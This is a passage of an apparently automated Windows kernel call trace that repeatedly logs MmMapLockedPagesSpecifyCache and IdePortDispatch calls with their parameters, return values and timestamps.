IdePortDispatch () returned 0x103 [0108.682] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d11000 [0108.682] IdePortDispatch () returned 0x103 [0108.682] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d13000 [0108.682] IdePortDispatch () returned 0x103 [0108.685] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d15000 [0108.685] IdePortDispatch () returned 0x103 [0108.686] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d18000 [0108.686] IdePortDispatch () returned 0x103 [0108.690] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d1a000 [0108.690] IdePortDispatch () returned 0x103 [0108.692] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d1c000 [0108.692] IdePortDispatch () returned 0x103 [0108.692] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d1e000 [0108.692] IdePortDispatch () returned 0x103 [0108.693] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d20000 [0108.693] IdePortDispatch () returned 0x103 [0108.694] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d22000 [0108.694] IdePortDispatch () returned 0x103 [0108.696] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d66000 [0108.696] IdePortDispatch () returned 0x103 [0108.697] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d68000 [0108.697] IdePortDispatch () returned 0x103 [0108.698] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d6a000 [0108.698] IdePortDispatch () returned 0x103 [0108.699] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d6c000 [0108.699] IdePortDispatch () returned 0x103 [0108.699] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d6e000 [0108.699] IdePortDispatch () returned 0x103 [0108.700] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d70000 [0108.700] IdePortDispatch () returned 0x103 [0108.700] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d72000 [0108.700] IdePortDispatch () returned 0x103 [0108.715] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003422000 [0108.715] IdePortDispatch () returned 0x103 [0108.718] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003428000 [0108.718] IdePortDispatch () returned 0x103 [0108.719] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800342a000 [0108.719] IdePortDispatch () returned 0x103 [0108.719] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800342c000 [0108.719] IdePortDispatch () returned 0x103 [0108.719] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800342e000 [0108.720] IdePortDispatch () returned 0x103 [0108.729] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003442000 [0108.729] IdePortDispatch () returned 0x103 [0108.730] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003444000 [0108.730] IdePortDispatch () returned 0x103 [0108.730] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003446000 [0108.730] IdePortDispatch () returned 0x103 [0108.734] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a7000 [0108.734] IdePortDispatch () returned 0x103 [0108.734] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a9000 [0108.734] IdePortDispatch () returned 0x103 [0108.737] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ab000 [0108.737] IdePortDispatch () returned 0x103 [0108.738] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ad000 [0108.738] IdePortDispatch () returned 0x103 [0108.740] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f1000 [0108.740] IdePortDispatch () returned 0x103 [0108.741] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f3000 [0108.741] IdePortDispatch () returned 0x103 [0108.742] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f5000 [0108.742] IdePortDispatch () returned 0x103 [0108.786] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d41000 [0108.786] IdePortDispatch () returned 0x103 [0108.787] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d43000 [0108.787] IdePortDispatch () returned 0x103 [0108.789] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d45000 [0108.789] IdePortDispatch () returned 0x103 [0108.790] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d47000 [0108.790] IdePortDispatch () returned 0x103 [0108.791] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d49000 [0108.791] IdePortDispatch () returned 0x103 [0108.792] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d4b000 [0108.792] IdePortDispatch () returned 0x103 [0108.793] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d4d000 [0108.793] IdePortDispatch () returned 0x103 [0108.795] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d4f000 [0108.795] IdePortDispatch () returned 0x103 [0108.796] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d51000 [0108.797] IdePortDispatch () returned 0x103 [0108.797] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d53000 [0108.797] IdePortDispatch () returned 0x103 [0108.797] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d55000 [0108.797] IdePortDispatch () returned 0x103 [0108.804] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003509000 [0108.804] IdePortDispatch () returned 0x103 [0108.805] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800350b000 [0108.805] IdePortDispatch () returned 0x103 [0108.806] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800350d000 [0108.806] IdePortDispatch () returned 0x103 [0108.806] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800350f000 [0108.807] IdePortDispatch () returned 0x103 [0108.811] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003596000 [0108.811] IdePortDispatch () returned 0x103 [0108.814] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035da000 [0108.814] IdePortDispatch () returned 0x103 [0108.815] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035dc000 [0108.815] IdePortDispatch () returned 0x103 [0108.815] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035de000 [0108.815] IdePortDispatch () returned 0x103 [0108.819] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b47000 [0108.819] IdePortDispatch () returned 0x103 [0108.826] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d16000 [0108.826] IdePortDispatch () returned 0x103 [0108.827] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d18000 [0108.827] IdePortDispatch () returned 0x103 [0108.828] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d1a000 [0108.828] IdePortDispatch () returned 0x103 [0108.828] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d1c000 [0108.828] IdePortDispatch () returned 0x103 [0108.878] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c69000 [0108.878] IdePortDispatch () returned 0x103 [0108.879] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c6b000 [0108.879] IdePortDispatch () returned 0x103 [0108.914] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002de1000 [0108.914] IdePortDispatch () returned 0x103 [0108.915] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002de3000 [0108.915] IdePortDispatch () returned 0x103 [0108.916] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002de5000 [0108.916] IdePortDispatch () returned 0x103 [0108.925] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bdd000 [0108.925] IdePortDispatch () returned 0x103 [0108.935] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bdf000 [0108.935] IdePortDispatch () returned 0x103 [0108.940] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c23000 [0108.940] IdePortDispatch () returned 0x103 [0108.940] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c25000 [0108.940] IdePortDispatch () returned 0x103 [0108.941] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c27000 [0108.941] IdePortDispatch () returned 0x103 [0108.943] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c29000 [0108.943] IdePortDispatch () returned 0x103 [0108.943] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c2b000 [0108.943] IdePortDispatch () returned 0x103 [0108.944] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c2d000 [0108.944] IdePortDispatch () returned 0x103 [0108.944] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c2f000 [0108.944] IdePortDispatch () returned 0x103 [0108.945] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c31000 [0108.945] IdePortDispatch () returned 0x103 [0108.946] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c33000 [0108.946] IdePortDispatch () returned 0x103 [0108.946] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c35000 [0108.946] IdePortDispatch () returned 0x103 [0108.949] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c37000 [0108.949] IdePortDispatch () returned 0x103 [0108.950] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c39000 [0108.950] IdePortDispatch () returned 0x103 [0108.950] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c3b000 [0108.950] IdePortDispatch () returned 0x103 [0108.951] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c3d000 [0108.951] IdePortDispatch () returned 0x103 [0108.978] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f7000 [0108.978] IdePortDispatch () returned 0x103 [0108.979] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f9000 [0108.979] IdePortDispatch () returned 0x103 [0108.979] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034fb000 [0108.979] IdePortDispatch () returned 0x103 [0108.980] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034fd000 [0108.980] IdePortDispatch () returned 0x103 [0108.980] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ff000 [0108.980] IdePortDispatch () returned 0x103 [0108.980] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003501000 [0108.980] IdePortDispatch () returned 0x103 [0108.981] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003503000 [0108.981] IdePortDispatch () returned 0x103 [0108.982] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003505000 [0108.982] IdePortDispatch () returned 0x103 [0108.983] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003507000 [0108.983] IdePortDispatch () returned 0x103 [0108.983] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003509000 [0108.983] IdePortDispatch () returned 0x103 [0108.984] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800350b000 [0108.984] IdePortDispatch () returned 0x103 [0108.985] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800350d000 [0108.985] IdePortDispatch () returned 0x103 [0108.986] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800350f000 [0108.986] IdePortDispatch () returned 0x103 [0108.986] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003511000 [0108.986] IdePortDispatch () returned 0x103 [0108.987] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003513000 [0108.987] IdePortDispatch () returned 0x103 [0108.987] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003515000 [0108.987] IdePortDispatch () returned 0x103 [0108.990] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003517000 [0108.990] IdePortDispatch () returned 0x103 [0108.990] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003519000 [0108.990] IdePortDispatch () returned 0x103 [0108.991] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800351b000 [0108.991] IdePortDispatch () returned 0x103 [0108.992] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800351d000 [0108.992] IdePortDispatch () returned 0x103 [0108.992] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800351f000 [0108.992] IdePortDispatch () returned 0x103 [0108.994] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003521000 [0108.994] IdePortDispatch () returned 0x103 [0109.012] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b8c000 [0109.012] IdePortDispatch () returned 0x103 [0109.071] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b9c000 [0109.071] IdePortDispatch () returned 0x103 [0109.073] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000ba0000 [0109.073] IdePortDispatch () returned 0x103 [0109.073] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000ba2000 [0109.073] IdePortDispatch () returned 0x103 [0109.074] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bfd000 [0109.074] IdePortDispatch () returned 0x103 [0109.075] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c80000 [0109.075] IdePortDispatch () returned 0x103 [0109.075] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c82000 [0109.075] IdePortDispatch () returned 0x103 [0109.078] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, 